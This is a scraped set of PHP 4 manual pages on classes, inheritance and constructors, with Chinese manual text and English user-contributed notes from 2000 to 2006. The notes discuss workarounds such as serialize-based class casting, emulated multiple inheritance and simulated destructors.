babs at sntteam dot org
31-Aug-2004 10:22
We can't split the class declaration in multiple PHP section but we can exit php tag in a function . ex :

<?
class plop {
   function plop() {
       $this->whatever = "bar";
   }
   function foo() {
       ?>
        <pre>foo returns <?=$this->whatever?></pre>
       <?
   }
};
$a = new plop;
$a->foo();
?>
will print : foo returns bar

PHP Version 4.3.8-9
bishop
20-Jul-2004 09:04
Say you have a factory method that needs to put data into an object before the constructor is called. This might be necessary, for example, if the factory class establishes a connection to a database and the manufactured object uses that connection in the constructor.

Do something like this:
<?php

function &factory($class /* ... */) {
  // 1) get an object shell
  $obj = new stdClass();

  // 2) "type cast" it to the desired class
  $tmp = explode(':', serialize($obj));
  $tmp[1] = strlen($class);
  $tmp[2] = '"' . $class . '"';
  $obj = unserialize(implode(':', $tmp));

  // 3) copy construct the manufacturer into the manufacturee
  $obj->copyFrom($this);

  // 4) call the real constructor
  $args = func_get_args();
  array_shift($args); // skip the class
  call_user_func_array(array (&$obj, $class), $args);

  return $obj;
}

?>

NOTE: The Editor's note in the "simon dot li at hongkong dot com" entry is misleading; it only works because the class names "foo" and "bar" are the same length. In general, you must change the first and second entries in serialized array as done above.

Also NOTE: This typecasting business works if you have a function that takes an arbitrary number of arguments and you want to pass those arbitrary arguments into a constructed class.  You can't just use call_user_func_array() in that case because 'new' is an operator, not a function.
catalin dot ivan at utoronto dot ca
07-Jul-2004 06:50
Regarding defining class variables:

The 'var' statement can NOT take Heredoc definitions, i.e. the "<<<MARKER" stuff (these may be somehow 'dynamic' as per warning above).

You must assign them values within the class constructor if you must use Heredoc.
oran at anonimous dot biu dot ac dot il
17-Jun-2003 01:34
class baseclass {
   function static1() {return "bla";}
   function static2() {return call_user_func(array(__CLASS__,'static1'));}
}

[ Editor's Note: Using the above, rather than below, will allow the static function to call its own generation's version of the method. ]

Unfortunately, inheritance of static methods is a bit problematic in PHP, because in order to use a static method you have to know the exact class it's defined in. This means trouble if you want to use one static function (or a static variable) from within another static function. For example:

class baseclass {
   function static1() {return "bla";}
   function static2() {return baseclass::static1();}
}

Now suppose that you write a class newclass that extends baseclass and redefines static1() to return "foo" instead of "bla" - this change will not be reflected in static2() of newclass. Not good at all.

You could use $this->static1() instead of baseclass::static1() in the definition of static2(), but then static2() will not be a static method. Another idea is to use get_class_name() to get the class name inside static2(), but again you need the $this variable to make this function call.

I found no way to overcome this problem, except to use real functions (not methods) for the purpose of wrapping my static functions. The name of the exact class to use is passed as a parameter to the wrapping function. It looks like this:

function wrapped_static1($clname) {
  if (in_array('static1', get_class_methods($clname)))
   return $clname::static1();
  return baseclass::static1();
}
function wrapped_static2($clname) {
  if (in_array('static2', get_class_methods($clname)))
   return $clname::static2();
  return baseclass::static2();
}

class baseclass {
   function static1() {return "bla";}
   function static2() {return wrapped_static1('baseclass');}
}

Now you can go on using baseclass and writing extension classes for it, using the following rules:
1. Use inheritance with your static functions in the natural way, as you would in C++. The wrapping code given here supports just 1 level of inheritance, but it may be improved to work its way up the inheritance tree using PHP's class functions.
2. When calling a static function, always call it through its wrapper.

For example:

class newclass extends baseclass    // example for rule 1
{
  function static1() {return 'foo';}
}
print static2_wrapper('newclass');  // example for rule 2

This is a little cumbersome, but now when you redefine a static function, you can be sure that any functions that rely on it will be able to use the correct definition.
russ dot taylor at nifty dot com
18-Apr-2003 04:31
It is sometimes useful to register a class instance as a session variable.  This can allow classes and their contained values to persist across multiple pages and/or frames.  Frames which need to use the registered class must be loaded (or reloaded) after the class instance is registered and the class declaration must be included in each file that needs to access the registered class.

i.e.
<?
session_start();// must have a session, duh...

class foo{//normal class declaration

  var $bar;

  function foo(){//normal constructor
   $this->bar = "a value to share and persist";
  }
}

$vital = new foo;//instance "vital" of object type "foo"

session_register("vital");//register the instance "vital"

//other code as needed

?>

**NOTE: it would be helpful to include the class from an external source so the same declaration could be used everywhere its needed, duh

then simply include the class declaration in any other file and you will have access to the registered class instance.  in a separate frame on the same page you could use ...

<?
session_start();

class foo{//same class declaration

  var $bar;

  function foo(){//normal constructor
   $this->bar = "a value to share and persist";
  }
}

echo $vital->bar;

?>

**NOTE: if you use a frameset you must allow processing time of the session registration or the value will not be available!  You can use any number of methods to trigger the delay, but the session must NOT be started on the second page beforre the variable is registered on the first.  On option is to use an onload statement in the first frames body tag, assuming normal html output...

<html><head></head><body onLoad="parent.frame[1].location.reload();"><!--what ever else you need to output--></body></html>

"frame[1]" assumes a two frame layout with frame[0] containing the values to share and frame[1] requiring those values. thus this, when included in frame[0] will force a reload of frame[1] AFTER the class instance was registered.
mcoakley at netplay dot net
18-Jan-2003 12:47
In response to the comments above and using tomcats example directly... I love scripting languages and I love PHP the most out of them. While most programmers (and editors notes) try to state that PHP is not a true OO language it has what you need to develop good OO programs. Sure some of the really strong structured things aren't there but that is the fun you get with scripted languages. But after reading every comment on this page I think people (and I know I am going to get flamed for this one...) should start to fully understand the principles of OO programming: Encapsulation, Polymorphism and Abstraction.

For those new to those terms:
- Encapsulation is what you get when you can have data and the methods that act on those data in an "encapsulated" entity (object)
- Polymorphism is a property of objects that comes through inheritence that allows methods of the same name to perform different (but similar in purpose) actions
- Abstration provides a mechanism to design effective OO heirarchies by pulling common methods or actions into superclasses and using inheritence to provide functionality

If these principles are understood fully, PHP can be used as a great OO language.  Another common complaint is that PHP doesn't offer private/protected members/methods, I too would like to see these features. One BIG thing to keep in mind while desiging an OO program is that the objects should provide funtionality at the class level. Don't think of objects as individual entities but think of a heirarchy that provides "blackboxes" of code. In otherwords the class names should tell you what the object does and the methods only tell you how to invoke the functionality. You should never be concerned with how the object achieves its functionality.
b dot ruecker at portunity dot de
09-Jul-2001 12:22
If you need a destructor, perhaps it is an idear to simulate it this way with a global Destroy-Function:

<?
function DestroyObject ($name)
{
     $theobject = &$GLOBALS[$name];
     if (method_exists ($theobject,"Destroy"))
         $theobject->Destroy ();
     unset ($GLOBALS[$name]);
}

class xyz
{
   var $somevar;

   // ### This is the constructor
   function xyz ()
   {
   }

   // ### This is the destructor which will be called
   function Destroy ()
   {
       echo ("Now we destroy it !");
   }

   function SomeDo ()
   {
       echo ("doing something: ".$this->somevar);
   }
}

$example = new xyz;

// .... doing something here
$example->somevar = 3;
$example->SomeDo();

DestroyObject ("example");

// ### Test => should produce an error !
$example->SomeDo ();

?>
sgarner at expio dot co dot nz
19-Feb-2001 10:15
[Editor's note: Remember tha PHP is not a hard core OOP language, and even the ones that are do not always support the unusual vector/array references applied to results from methods.]

It seems there is no way to access the return value of a method (or any function) inline, without assigning it to a variable.

For example:

<?php
class Test
{
  function blah ()
  {
     return array(1,2,3);
  }

  function childTest ()
  {
     return new Test;
  }
}

$test = new Test;

// This does not work:
$foo = $test->blah()[0];

// Instead have to do:
$temp = $test->blah();
$foo = $temp[0];

// Similarly for objects, cannot do:
$foo = $test->childTest()->blah();

// Instead have to do:
$temp = $test->childTest();
$foo = $temp->blah();

?>
buzz77 at gmx dot net
15-Feb-2001 12:33
You can also store object variables as session variables, so that you don't have to create an object every time the page loads.

Let's see how:
here is my simple class file:

// simple.lib.php
class simple
{
  function dummy
  {
   print "TEST SUCCESSFUL!\n";
  }
}

Then, I create a simple .php which starts a new session and registers the object-variable of the "simple"-class.

// test1.php
require ("simple.lib.php");
session_start();
session_register("CLASSOBJ");
$CLASSOBJ=new simple();

That's all.
In the following .php-files you've only to add the following lines:
require("simple.lib.php");
session_start();

To test out if it works, simply call:
$CLASSOBJ->dummy();
and it will print the message.

I tried it out also with quite huge classes, and it always worked (I think the pointer to the instanciated class is stored and the class object itself won't be deleted if you eg. change to another .php-page)
brice at webprojkt dot com
22-Dec-2000 01:23
Defaulting a function parameter to a variable isn't directly supported, but here's how to get around that:

Suppose you have a class:

class query {
   var $sql;
   var $link;

   function go ($SQLstring = $this->sql)
   {
     return mysql_query($this->sql,$link);
   }
}

This doesn't work.  Here's the workaround:

(function spec):
   function go ($SQLstring)
   {
     if (isset($SQLstring)) { $this->sql = $SQLstring; }
     return mysql_query($this->sql,$this->link);
   }

This may not be the best example of this, but I thought I'd throw this out for you folks ... should allow support of presetting of an object value and then execution of the method on that, or something like query::go("SELECT ...");

Enjoy!

p.s. (in this case query::go wouldn't work because it is coded with $this->link, but if you wanted to just use the default connection, it'd work fine :)
iw at warped dot nu
09-Oct-2000 08:12
Here's a very important reminder to those of you used to Java/C++ object references/pointers. When you send a function arguments which include a class object, PHP will make copies of that object for use inside that function.

This differs from passing a Java reference to an object or passing a C++ pointer to an object. Within the scope of the above-mentioned function, calling class methods of the argument object will only affect the copy that PHP creates. Likewise, when the function itself is completed, the copy of the object you passed ceases to exist.

To emulate Java/C++ functionality of arguments that are objects, you just have to modify the given function's signature from this:

function foo(..., $object, ...)

to this:
function foo(..., &$object, ...)

The ampersand(&) thus signifies that the function should receive a reference to the object, instead of creating a copy of the object.
simon dot li at hongkong dot com
14-Sep-2000 07:15
-------------------------------------------------
[Editor's note: class casting per se is not part of the object/class implementation in PHP, but code like the one in this note can kludge if you need it for very simple cases, more complex ones are left to the imagination of the programmer:
<?php
class foo {
   function foo($name="foo") {
       $this->name=$name;
   }
}

class bar extends foo {
   function boom() {
       echo "BOOOM!";
   }
}

$f = new foo();
$temp = explode(":",serialize($f));
$temp[2] = "\"bar\"";
$b = unserialize(implode(":",$temp));

$b->boom();

?>
This forces $b to be an instance of "bar" using an object $f, an instance of "foo"]
-------------------------------------------------

About casting of object, say, i got:

class A extends B {
       function A() {
               $this->B();
       }
       ....
}

$b = new B();
$a = new A();

I wanna have a object of class A with "content" of $b:
$a = (A) $b; // not a valid code,(right?) as for illustration.
add a note add a note

后退 | 起点 | 前进
内部（内置）函数 | 上一级 | 继承


继承

通常需要这样一些类，这些类与其它现有的类拥有相同变量和函数。实际上，定义一个通用类用于所有的项目，并且不断丰富这个类以适应每个具体项目将是一个不错的练习。为了使这一点变得更加容易，类可以从其它的类中扩展出来。扩展或派生出来的类拥有其基类（这称为“继承”，只不过没人死）的所有变量和函数，并包含所有派生类中定义的部分。类中的元素不可能减少，就是说，不可以注销任何存在的函数或者变量。一个扩充类总是依赖一个单独的基类，也就是说，不支持多继承。使用关键字“extends”来扩展一个类。

<?php
class Named_Cart extends Cart {
    var $owner;

    function set_owner ($name) {
        $this->owner = $name;
    }
}
?>

上述示例定义了名为 Named_Cart 的类，该类拥有 Cart 类的所有变量和函数，加上附加的变量 $owner 和一个附加函数 set_owner()。现在，以正常的方式创建了一个有名字的购物车，并且可以设置并取得该购物车的主人。而正常的购物车类的函数依旧可以在有名字的购物车类中使用：

<?php
$ncart = new Named_Cart;    // 新建一个有名字的购物车
$ncart->set_owner("kris");  // 给该购物车命名
print $ncart->owner;        // 输出该购物车主人的名字
$ncart->add_item("10", 1);  // （从购物车类中继承来的功能）
?>

这个也可以叫做“父－子”关系。创建一个类，父类，并使用 extends 来创建一个基于父类的新类：子类。甚至可以使用这个新的子类来创建另外一个基于这个子类的类。

注: 类只有在定义后才可以使用！如果需要类 Named_Cart 继承类 Cart，必须首先定义 Cart 类。如果需要创建另一个基于 Named_Cart 类的 Yellow_named_cart 类，必须首先定义 Named_Cart 类。简捷的说：类定义的顺序是非常重要的。

add a note add a note User Contributed Notes
Neelam Bhatt
10-May-2006 05:44
Tilman I think you are little bit confused about get_parent_class() function.

Actually this function return the 'parent class' of the class, object belong to; with which it is called.

In your example one_get_parent_class_name() and two_get_parent_class_name() are similar functions and are located in different classes. Their behaviour will be same if will be called with same object. Just add the following two line at the end. You will get the better understanding.

$two=new two();
$two->two_get_parent_class_name();
Edward_nl
03-Mar-2006 06:54
If you are using a child-class. Remember to call the constructor of the parent class aswell before you start using it. Otherwise you might get different results then you expected. It is stated in this document, but I got confused by the given example. So, here is my example:

<?php
error_reporting(E_ALL);

class test {
  var $var;

  function test() {
   $this->var = 3;
  }
}

class testing extends test {
   function testing() {
     parent::test();
   }

   function My_test() {
     return $this->var;
   }
}

$p = new testing();
echo $p->My_test();
doedje
13-Feb-2006 05:37
tilman's note is not quite true. He states the fact that php gives wrong information about the parent class. But this is not the case. Php does give correct information about the parent class, to prove that I give the following code:

<?php
class a
{
   function showInfo()
   {
     print "I am class " . get_class($this) . ", my parent is " .get_parent_class($this);
   }
}

class b extends a {}

class c extends b {}

$myInstanceB = new b();
$myInstanceB->showInfo();
print "<br />";
$myInstanceC = new c();
$myInstanceC->showInfo();

/*
output:
I am class b, my parent is a
I am class c, my parent is b
*/
?>

The thing is the function showInfo as they were called by my script, are not a member of class a, but are a member of class b and c. They respond accordingly. Showing correct output in the case of get_class and get_parent_class. So don't go blaming php! =]
tilman dot schroeder at gmx dot de
20-Jan-2006 03:24
Hi...
as alan hogan pointed out it is possible to inherit a class from multiple other classes but notice that php does not always give you the right name of the parent class if you are deriving from multiple classes (tested on php 4.4.0):

<?php
header("Content-Type: text/plain");
class three {
   function three() {
       echo("constructor of three\n");
   } // end function three
} // end class three

class two extends three {
   function two() {
       echo("constructor of two\n");
   } // end function two
   function two_get_parent_class_name() {
       echo("i am two and my parent is: ".get_parent_class($this)."\n");
   } // end one_function get_parent_class_name()
} // end class two

class one extends two {
   function one() {
       echo("constructor of one\n");
   } // end function one
   function one_get_parent_class_name() {
       echo("i am one and my parent is: ".get_parent_class($this)."\n");
   } // end one_function get_parent_class_name()
} // end class one

$one=new one();
$one->two();
$one->three();
$one->one_get_parent_class_name();
$one->two_get_parent_class_name();

/*
 *    will print out:
 *
 *        constructor of one
 *        constructor of two
 *        constructor of three
 *        i am one and my parent is: two
 *        i am two and my parent is: two // should print out "my parent is: three"
 */
?>

So be careful when dealing with parents within classes ...
However, if you are using parent:: it will give you access to BOTH parent classes:

<?php
header("Content-Type: text/plain");
class three {
   function three() {
       echo("three\n");
   }
}
class two extends three {
   function two() {
       echo("two\n");
   }
}
class one extends two {
   function one() {
       echo("one\n");
       parent::two();
       parent::three();
   }
}
one::one();
/*
 *    will print out:
 *        one
 *        two
 *        three
 */
?>
alan hogan
27-Nov-2005 09:48
Just a note:  It is possible to have a class inherit from multiple other classes, but only in a one-at-a-time linear hierarchy.

So this works, and C gets A and B functions:

<?php
class A {
  public function af() { print 'a';}
  public function bark() {print ' arf!';}
}
class B extends A {
  public function bf() { print 'b';}
}
class C extends B {
  public function cf() { print 'c';}
  public function bark() {print ' ahem...'; parent::bark();}
}

$c = new C;
$c->af(); $c->bf(); $c->cf();
print "<br />";
$c->bark();
/**results:**/
//abc
//ahem... arf!
?>

This does NOT work:

<?php
class A {
  public function af() { print 'a';}
  public function bark() {print ' arf!';}
}
class B {
  public function bf() { print 'b';}
}
class C extends B, A /*illegal*/ {
  public function cf() { print 'c';}
  public function bark() {print ' ahem...'; parent::bark();}
}

$c = new C;
$c->af(); $c->bf(); $c->cf();
print "<br />";
$c->bark();
//Parse Error
?>
Bash I.
19-Nov-2005 01:43
Here is a simple idea that I use when I need my abstract classes (the inherited classes) implemented before my functional classes.

<?php

   $_CLASSES = array_merge (
       glob ("classes/*/*.abstract.php"),
       glob ("classes/*/*.class.php")
   );

   foreach ($_CLASSES AS $_CLASS) {
       require ($_CLASS);
   }

?>
mga at nrd dot lt
18-Apr-2005 10:03
[Editor's note: For an alternative to multiple inheritance, see the dynamic binding via object aggregation in the corresponding section of the manual.]

Multiple Inheritance is not supported but it is easy to emulate it

The example listed above does not show the main advantages of multiple inheritance. I mean, that multiple inheritance is used not for different outputs, but to combain properties ant functionality from different classes.

If you will try to create complex structure based on this example, I am sure, will be big problems regarding member variables values and etc.

In example, each time when you use "inherited" class it is temporarily created!

The main advantage of inheritance is direct incapsulation of member variables and functions. And here are no possibility to use this advantage :(
volte6 at nowhere dot com
01-Apr-2005 02:11
When declaring a class that relies upon another file ( because it extends the class defined in that file ), you should ALWAYS require_once() that file at the top.
This applies even when planning on looping through and including everything in the folder. Use require_once() in your loop, and at the top of the file that NEEDS the include.
tomnezvigin at comcast dot net
07-Mar-2005 09:19
This may seem obvious, but check this scenario. You have a class folder:

+ class
--classA.php
--classB.php
--classC.php
--mainClass.php

Here... classA, classB, classC all extend the mainClass.

If you try to create a function that automatically includes all of the classes in a folder, normally, they are included alphabetically.

When you try to instantiate classC, for example, you will get an error:

"Cannot inherit from undefined class mainClass"

EVEN IF you instantiate the mainClass before you instantiate all of the other classes.

In other words, make sure your primary class is included before all others.
Roy Yong
28-Jan-2005 12:37
I'm not sure if i'm outdated but I think the current PHP version still does not support extension of methods (something that stands between polymorphism and overriding). Hopefully, this could be included in the next release version of PHP!
jo at durchholz dot org
18-Dec-2004 12:54
Multiple inheritance, if designed properly into the language, most definitely is worth the trouble. Solutions exist for all associated problems (including the name clash issue mentioned above - identify a function by adding the name of the class where is was first defined, and all ambiguities vanish; make the class identification optional if nonambiguous, and it's even backwards-compatible).

The rub is that it's difficult to get a language design that's simple to use, efficiently implementable, and applicable to a dynamically-typed language like PHP.
Msquared
19-Nov-2004 10:48
Multiple inheritence is often more trouble than it's worth.  For example, you have a class foo that inherits from both class bar and class baz.  Classes bar and baz both have a fubar() method.  When you create a foo object and call its fubar() method, which fubar() method is called: bar's or baz's?

It seems to me that using aggregate to glue one class's methods and data to another object is a bit like Ruby's fixins, but I could be wrong...

[[Editor's note:
The aggregate_* functions have been dropped, as of PHP 5
-S
]]
Dave Fancella
14-Mar-2004 11:09
I recommend against using the examples here given for multiple inheritance.

The essential problem is having readable code.  If you want to be able to read your code in a few months, or if you want others to be able to read your code, you're better off using member variables to store class instances than using hacked on multiple inheritance.

One of the big advantages to multiple inheritance in a language that properly supports it like C++ is that you can see, in the class declaration, what it inherits from.  In the example where you extend some class called MultipleInheritance, that only obfuscates your class's ancestry.

So, use inheritance, it's good.  But it's not the be all end all of solutions.  If it were, we wouldn't have templates and various other things in C++.  So don't depend on it.  Instead of asking yourself "How do I use inheritance to solve this problem?" you should ask yourself "Is inheritance the right tool to solve this problem?"  If the language doesn't support multiple inheritance and you're trying to use it anyway, then you have certainly chosen the wrong tool to solve your problem.
efredin at redtempest dot com
03-Mar-2004 09:35
It is possible to override a method innherited from a parent class by simply re-defining the method (for those of us who enjoy using abstract classes).

<?
class A
{
   var $foo;

   function A()
   {
       $this->foo = "asdf";
   }

   function bar()
   {
       echo $this->foo." : Running in A";
   }
}

class B extends A
{
   function bar()
   {
       echo $this->foo." : Running in B";
   }
}

$myClass = new B;
$myClass->bar();
?>
robertvanderlinden78 at hotmail dot com
19-Oct-2003 02:50
the model as in the example of "quinton" is what you want to have. Not the method of "kimh216" with function callClass

when calling

   function C()
   {
       //global $a,$b;
       $this->a = parent::callClass('A');//no effect
       $this->b = parent::callClass('B');//no effect
   }

you will not have 1 data object.If i wanted to add a function to class A and i wanted to call it , I can only do it from Class C .. otherwise if I were to do
$c = new C();
$c->someExtraFunctionThatIsInClassA(); it will give an error stating "Fatal error:  Call to undefined function:  functionName() in f:\ibserver\www\meuk\classvbs\test.php.php on line 34"
------------
If i add a new function in Person class of the first example of quinton:
  function boe(){
     echo "some text";
  }

then i can call it by :
$family->members[0]->boe();
since the members array has Personobjects in it. Now you have 1 Object that can access every function as a whole.
regards rml
mazsolt at yahoo dot com
04-Jul-2003 11:49
Just a simple example about inheritance:

class a1{
  var $a=10;
  function a1($a){
     $this->a=$a;
  }
}

class a2 extends a1{
  var $x=11;
  function a2($x,$y){
     $this->x=$x;
     parent::a1($y); // or a1::a1($y) or $this->a1($y)
  }
}

class a3 extends a2{
  var $q=999;
}

$x=new a3(99,9);
echo $x->a,"<br>",$x->x,"<br> ",$x->q;

The output will be:

9
99
999
calimero at creatixnet dot com
23-Jun-2003 11:58
Just a quick note to make things more clear : while multiple inheritance is not allowed, several levels of single inheritance  ARE ALLOWED indeed. Just test this example :
<?
class A {
   var $name='A';

   function disp() {
       echo $this->name;
   }
}

class B extends A {
   var $name='B';
}

class C extends B {
   var $name='C';
}

$truc = new C() ;
$truc->disp(); // Will output C
?>

This is especially important to keep in mind while building a huge object hierarchy. for example :

+GenericObject
->+ Person
->->Employee
->+Computer
->->+WorkStation
->->-> PPC
->->-> Intel
->->+Server
->->->LDAPServer
->->->IntranetWebServer

.. and so on. Multiple level hierarchy relationship are possible in a tree-like structure (each child has one and only one parent, except for the root object).
quinton at free dot fr
11-Jun-2003 04:07
a nice example using extends and multiple classes  and constructors.

<?

class CoreObject {
  var $name;

  function CoreObject($name){
   $this->_constructor($name);
  }

  function _constructor($name){
   $this->name = $name;
  }

  function show(){
   printf("%s::%s\n", $this->get_class(), $this->name);
  }

  function get_class(){
     return get_class($this);
  }
}

class Container extends CoreObject{
 var $members;
 function Container($name){
   $this->_constructor($name);
 }

 function &add(&$ref){
   $this->members[] = $ref;
   return ($ref);
 }

  function show(){
   parent::show();
   foreach($this->members as $item){
     $item->show();
   }
 }
 function apply(){
 }
}

class Person extends CoreObject{
  function Person($name){
   $this->_constructor($name);
  }
}

class Family extends Container {

 var $members;
 function Family($name){
   $this->_constructor($name);
 }
}

echo "<pre>\n";

$family = new Family('my family');
$family->add(new Person('father'));
$family->add(new Person('mother'));
$family->add(new Person('girl'));
$family->add(new Person('boy'));

$family->show();

print_r($family);

?>
j237fl at hotmail dot com
26-Feb-2003 10:28
This code fragment does NOT seem to work.  It seems as though, the PHP engine when loading a class dosen't set the member vars FIRST, it seems as though it loads the BasicLife member vars before the Super Class methods.

class BasicLife extends Benefit{
   //MEMBER VAR simply REFERS TO METHOD OF SUPER CLASS
   var $simply = Benefit::get_simply();
   //MEMBER VAR me REFERS TO METHOD OF THIS->CLASS
   var $me = $this->get_me();

   function BasicLife(){//CONSTRUCTOR}

   function get_me(){}

}
kimh216 at hotmail dot com
29-Oct-2002 09:19
I made some change...
If you don't want to call parent::callClass('A') on the every function which have to call it's parent's method.

//multipleInheritance
class multipleInheritance
{
   function callClass($class_to_call)
   {
       return new $class_to_call();
   }
}

class A
{
   function insideA()
   {
       echo "I'm inside A!<br />";
   }
}

class B
{
   function insideB()
   {
       echo "I'm inside B!<br />";
   }
}

class C extends multipleInheritance
{
   var $a;
   var $b;

   function C()
   {
       //global $a,$b;
       $this->a = parent::callClass('A');//no effect
       $this->b = parent::callClass('B');//no effect
   }
   function insideA()
   {
       // global $a,$b;
       $this->a->insideA();
   }
   function insideB()
   {
       //global $a,$b;
       $this->b->insideB();
   }
   function insideC()
   {
       echo("I'm inside C!<BR>");
   }
}

$c = new C();
$c->insideA();
$c->insideB();
$c->insideC();
novaki at dcs dot vein dot hu
21-Oct-2002 01:13
inheritance from multiple parent classes:

// won't work
class myChildClass extends pClass1, pClass2 {

}

PHP uses aggregation for inheriting from multiple parents, which I think is a bit more complex. See the aggregate function.

(my personal oppinion is that the first method of multiple inheritance should also be imlemented, but I got the answer that it won't be fixed)
"inerte" is my hotmail.com username
28-Sep-2002 04:36
[Editor's note: For an alternative to multiple inheritance, see the dynamic binding via object aggregation in the corresponding section of the manual.]

Multiple Inheritance is not supported but it is easy to emulate it:

class multipleInheritance
{
   function callClass($class_to_call)
   {
       return new $class_to_call();
   }
}

class A
{
   function insideA()
   {
       echo "I'm inside A!<br />";
   }
}

class B
{

   function insideB()
   {
       echo "I'm inside B!<br />";
   }
}

class C extends multipleInheritance
{
   function insideC()
   {
       $a = parent::callClass('A');
       $a->insideA();
       $b = parent::callClass('B');
       $b->insideB();
   }
}

$c = new C();
$c->insideC();
---
This will succesfully echo:
I'm inside A!
I'm inside B!
schultz at rancon dot de
16-Aug-2002 01:37
class a {
  function samename(){
   echo 'a';
} }

class b extends a{
  function samename(){
   echo 'b';
  }
  function b(){
   a::samename();
   b::samename();
} }

$test_obj = new b();

Quiet confusing though, as this prints out 'ab'.
No need to create a new instance of a,
therefor both methods still exists with same name.
griffon9 at hotmail dot com
18-Jul-2002 07:42
Just to clarify something about inheritance. The following code :

class a
{  function call()
     {  $this->toto();
     }

     function toto()
     { echo('Toto of A');
     }
}

class b extends a
{  function toto()
   { echo('Toto of B');
   }
 }

$b=new b;
$b->call();

...will correctly display "toto of B" (that is, the function declared in the parent is correctly calling the redefined function in the child)
php_AT_undeen_DOT_com
12-Dec-2001 03:31
if the class B that extends class A does not have a constuctor function (i.e. a function named B), then the constructor function of A will be used instead, you don't need to make a constructor in B just to call the constructor of A.

For example:
class A
{
  function A()
   {
     echo "HEY! I'm A!\n";

   }
}
class B extends A
{
}
$b = new B();

produces the output:
HEY! I'm A!
bpotier at edreamers dot org
08-Nov-2001 04:08
Just one thing that may seem obvious but not mentionned in this page is that you need to include/require the file containing the parent class or else you'll get an error:
<?php
require(dirname(__FILE__).'/'.'myParent.php');
...
myChild extends myParent {
...
}
...
?>
add a note add a note

后退 | 起点 | 前进
类与对象（PHP 4） | 上一级 | 构造函数


构造函数

构造函数是类中的一个特殊函数，当使用 new 操作符创建一个类的实例时，构造函数将会自动调用。当函数与类同名时，这个函数将成为构造函数。如果一个类没有构造函数，则调用基类的构造函数，如果有的话。

<?php
class Auto_Cart extends Cart {
    function Auto_Cart() {
        $this->add_item ("10", 1);
    }
}
?>

上文定义了一个 Auto_Cart 类，即 Cart 类加上一个构造函数，当每次使用“new”创建一个新的 Auto_Cart 类实例时，构造函数将自动调用并将一件商品的数目初始化为“10”。构造函数可以使用参数，而且这些参数可以是可选的，它们可以使构造函数更加有用。为了依然可以不带参数地使用类，所有构造函数的参数应该提供默认值，使其可选。

<?php
class Constructor_Cart extends Cart {
    function Constructor_Cart($item = "10", $num = 1) {
        $this->add_item ($item, $num);
    }
}

// 买些同样的无聊老货
$default_cart = new Constructor_Cart;
// 买些实在货...
$different_cart = new Constructor_Cart("20", 17);
?>

也可以使用 @ 操作符来抑制发生在构造函数中的错误。例如 @new。

<?php
class A
{
    function A()
    {
      echo "I am the constructor of A.<br>\n";
    }

    function B()
    {
        echo "I am a regular function named B in class A.<br>\n";
        echo "I am not a constructor in A.<br>\n";
    }
}

class B extends A
{
    function C()
    {
        echo "I am a regular function.<br>\n";
    }
}

// 调用 B() 作为构造函数
$b = new B;
?>

类 A 中的函数 B() 将立即成为类 B 中的构造函数，虽然并不是有意如此。PHP 4 并不关心函数是否在类 B 中定义的，或者是否被继承来的。

注意

PHP 4 不会从派生类的构造函数中自动调用基类的构造函数。恰当地逐次调用上一级的构造函数是用户的责任。

析构函数是一种当对象被销毁时，无论使用了 unset() 或者简单的脱离范围，都会被自动调用的函数。PHP 中没有析构函数。可以用 register_shutdown_function() 来替代模拟大多数析构函数的效果。

add a note add a note User Contributed Notes
dexen at NOSPAM dot example dot com
18-Jan-2006 06:44
Destructors aren't supported in PHP, and the sollution of using 'register_shutdown_function()' isn't really suitable for situations when you wan to perform destructor-alike finalization at a PARTICULLAR MOMENT, possibly way before exiting the PHP machine. (or sort of specialized serialization, as it's in my case).

Anyway, the general problem is to PROPAGATE a call through a hierarchy of objects, based on NAME PATTERN, in right ORDER (most_derived-to-most_base). Do not rely on INCLUSION of any CODE in derived classes. Do not assume EXISTENCE of any of 'destruction'  functions. Do support DEEP inheritance.

All i did was to create a _FINI_ function in base class, that calls a 'destructor alike' functions of pattern _%CLASSNAME_. Now, in order to 'destruct' (or serialize) i do  $OBJ->_FINI_(); then i can safely unset ($OBJ), all data is already saved to remote storage.

So, if ExSOMETHING derives from ExSession, which in turn derives from ExObject, i create _ExSOMETHING_ function in class ExSOMETHING and _ExObject_ in class ExObject. Notice there's no _ExSession_, yet nothing breaks.

Code:

<?php
class ExObject {

   function _FINI_()
   {
       $p = get_class($this);
       while( $p ) {
           $px = '_'.$p.'_';
           if ( method_exists($this, $px) ) {
               $this->$px();
           }
           $p = get_parent_class( $p );
       }
   }
}
?>

You may want to create an interface class Destructable, include _FINI_ in it and derive all relevant classes from it.
mark at dreamjunky dot com
30-Jun-2005 12:57
Responding to zax AT email DOT cz and others on the topic of pass/fail tests in constructors.

Later versions of PHP don't allow $this = null, so that's out.
Using unset($this) is allowed but is not reliable.

Consider the following:

   class a {
       function a($pass) {
           if (!$pass) unset($this);
       }
   }

   echo ($a = new a(true) ? "Passed" : "False") . "\n";
   echo ($a = new a(false) ? "Passed" : "False") . "\n";

The output:
False
False

However, if you add a member variable to the class and run the same script, the output becomes:
Pass
Pass

Basically the object evaluates to false if there are no member variables, otherwise true.  I'm guessing, but I believe calling unset($this) only unsets the reference to the object.  A copy of it is still passed back to the calling code.

To sum up, I would stick with the original recommended solution of having a property specifically to represent an object's status: initialized or failed.

class A {
  var $success;

  function A() {
     if (/* some fail test */)
       $this->success = false;
     // rest of your construct
  }
}
jfonseca at matarese dot com
19-May-2005 10:07
This will save you time if you're building a class hierarchy with 2 or more levels of inheritance.

$this always refers to the CURRENT INSTANCE. Therefore if you have:

class A{

   function A(){

   }

 // ....

}

class B extends A{

   function B(){

     // keep these 2 lines in mind
     $parentClass = get_parent_class($this);
     $this->$parentClass();

   }

 // ....

}

class C extends B{

   function C(){

     $parentClass = get_parent_class($this);
     $this->$parentClass();
     // here you will get into an infinite loop calling B();

   }

 // ....

}

Explanation: $this is an instance variable referring to the CURRENT INSTANCE, therefore the $this variable on class B will always be an instance of C, therefore get_parent_class($this) in class B will call the constructor of C's parent class, which is B again.

This is a hard to track error if you're a novice on PHP's  OO features mainly because PHP will not produce any warnings, errors or notices, nor will it log anything to Apache or the error_log file.

Keywords : infinite recursion, parent constructor, subclass
phpnotes at ionws dot com
05-Apr-2005 01:51
Just to possibly clarify something on this page: if you create an object of a derived class and the derived class has no constructor, then the base class's constructor will be automatically called.  For example:
<?php
class A {
   function A() {
       echo "A()\n";
   }
}

class B extends A {
   function foo() {
   }
}

$bar = new B;
// output: A()
?>

But if the derived class has a constructor, the base constructor is not automatically called.  For example:
<?php
class A {
   function A() {
       echo "A()\n";
   }
}

class B extends A {
   function B() {
       echo "B()\n";
   }
   function foo() {
   }
}

$bar = new B;
// output: B()
?>
